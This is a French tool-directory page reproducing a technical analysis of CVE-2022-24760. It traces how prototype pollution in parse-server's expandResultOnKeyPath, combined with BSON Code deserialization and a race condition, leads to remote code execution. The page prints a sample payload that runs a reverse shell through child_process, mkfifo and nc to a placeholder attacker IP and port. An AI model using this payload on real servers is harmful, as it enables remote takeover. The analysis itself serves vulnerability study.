Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-24760 — Analyse technique détaillée de CVE-2022-24760, une vulnérabilité de pollution de prototype dans parse-server menant à une exécution de code à distance via la sérialisation BSON et l'exploitation de condition de course. | Kitploit
Outils/GitHubGitHub/tuo4n8/cve-2022-24760
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications Web
GitHubtuo4n8/cve-2022-24760

CVE-2022-24760

Analyse technique détaillée de CVE-2022-24760, une vulnérabilité de pollution de prototype dans parse-server menant à une exécution de code à distance via la sérialisation BSON et l'exploitation de condition de course.

Voir le dépôt
145il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-24760


flux

image-20220331114046018

image-20220331114258164

  • Par défaut, aucune clé n'est nécessaire pour ajouter, supprimer ou modifier les classes dans la base de données.

image-20220331115258271


Diff commit

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

image-20220331132344135

  • La pollution de prototype se produit dans la fonction expandResultOnKeyPath
root@kitploit:~
DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath
  • sanitizeDatabaseResult est utilisé lors de l'ajout (add) et de la mise à jour (update) d'une nouvelle classe. Cependant, pour que la pollution de prototype réussisse, la condition doit être satisfaite lorsque la clé de mise à jour __op fait partie de ['Add', 'AddUnique', 'Remove', 'Increment']

  • Par conséquent, les valeurs du prototype ne peuvent être que des array ou des number

    • image-20220331132813075
    • image-20220331132823843
  • Exemple de requête :

image-20220331133133587

Exploitation du sink pour RCE

  • Avant d'enregistrer les données dans la base de données, le flux de données est sérialisé via la bibliothèque BSON. Lorsque _bsontype est Code, serializeCode est exécuté.

image-20220331133328243

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

  • Ensuite, les données sont désérialisées pour atteindre le sink :

image-20220331145339371

image-20220331145403962

image-20220331145421339

  • Utiliser la pollution de prototype pour polluer options['evalFunctions'] et ainsi contourner jusqu'à la fonction isolateEval

  • Exemple de payload

root@kitploit:~
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
  • Comme le flux d'exécution de la fonction expandResultOnKeyPath a lieu après la désérialisation, il est nécessaire d'effectuer une condition de course en continu pour pouvoir déclencher isolateEval

image-20220331145825647

Télécharger l’outil